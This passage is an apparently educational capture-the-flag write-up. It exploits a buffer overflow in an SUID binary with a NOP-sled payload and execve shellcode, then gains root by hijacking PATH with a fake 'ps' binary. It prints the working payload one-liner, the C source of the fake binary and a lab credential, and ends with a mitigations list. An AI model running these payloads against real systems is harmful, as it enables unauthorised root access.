![Seemingly working exploit in gdb](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FeuVWr6l0pVuA6LiVQZCa%2Fbinex_bofdbg.png?alt=media\&token=7e1b823e-543f-43c3-a74c-90e899e51678)

However, if we were to use the same input directly on the binary it would fail with a segmentation fault, simply because running the application outside of the gdb context means a slightly different address space. So the hardcoded address pointing to the first byte of our buffer is slightly off.

We can account for that by using a NOP sled though. Instead of pointing to the first byte, we will choose an address that's predictably somewhere inside our buffer. By filling the space around this address with `\x90` (NOP instruction) it doesn't matter if the RIP lands a bit before or after the target address as it will slide along the NOPs until it hits the shellcode.

Since the buffer is pretty large, we can prepend the shellcode with 200 NOPs. Using the start address of the buffer + 128 bytes (0x7fffffffe2a0) should give us enough margin to both sides.

```bash
# Final payload: 200 NOPs + shellcode + (padding to a total offset of 616) + RIP
python -c 'print("\x90"*200 + "jhH\xb8\x2fbin\x2f\x2f\x2fsPH\x89\xe7H\xb8\x01\x01\x01\x01\x01\x01\x01\x01PH\xb8ri\x01,q\x01\x01\x01H1\x04\x241\xf6Vj\x0b^H\x01\xe6Vj\x10^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05"+ "A"*(416-68) +"\xa0\xe2\xff\xff\xff\x7f\x00\x00")' > input
```

Finally, using the generated input - we get an interactive shell and `kel`s flag.

{% hint style="info" %}
In order to keep the spawned shell open, add a `cat` without arguments (waits for input on `stdin`).
{% endhint %}

![Successful exploit of a buffer overflow in an SUID binary](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2Fardt7TXAI9oauEZ4em8S%2Fbinex_bof_exploit.png?alt=media\&token=565ec5bf-cf78-4cf1-abcb-be72bae98f33)

{% hint style="success" %}
Valid credentials: `kel:kelvin_74656d7065726174757265`
{% endhint %}

### User: kel

On to the final privilege escalation, we find another SUID binary "`exe`" and its source code in `kel`s home directory. This one is owned by `root` so we should be done soon.

The source code immediately reveals the vulnerability:

```c
/* exe.c */
void main()
{
	setuid(0);
	setgid(0);
	system("ps");
}

```

The program calls `ps` without specifying the entire path. By creating a custom binary called `ps` and making sure that this one will be found before the original, we can execute code as `root`. All that's left to do is to create an executable that spawns a shell for example, rename it to `ps`, place it in the current directory, add the current directory to the `PATH` variable and execute `exe` .

```c
/* ps.c */
// Compile with gcc ps.c -o ps
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(void) {
	setuid(0);
	setgid(0);
	system("/bin/bash -p");
	return 0;
}

```

Finally, we get a shell as `root` and can read the last flag.

![Using PATH to gain root and read last flag](https://1971224599-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-Mhlz_oZ3oVPSWFmU_3o%2Fuploads%2FNoSiaMFpbGaq5BC1y05e%2Fbinex_final_root.png?alt=media\&token=8fe8c266-76f9-4a87-b36b-a2601d0d8641)

## Mitigations

During this box we found multiple weak points that could easily be fixed:

* Weak password for the user `tryhackme`
* A binary with unnecessary and unsafe permissions (for example `find` should be owned by `root` and must not be given the `SUID` permission)
* Unsafe C-code (do not read from or write to memory without proper safety checks)
* More unsafe code (properly specify binaries including their full path when calling them)
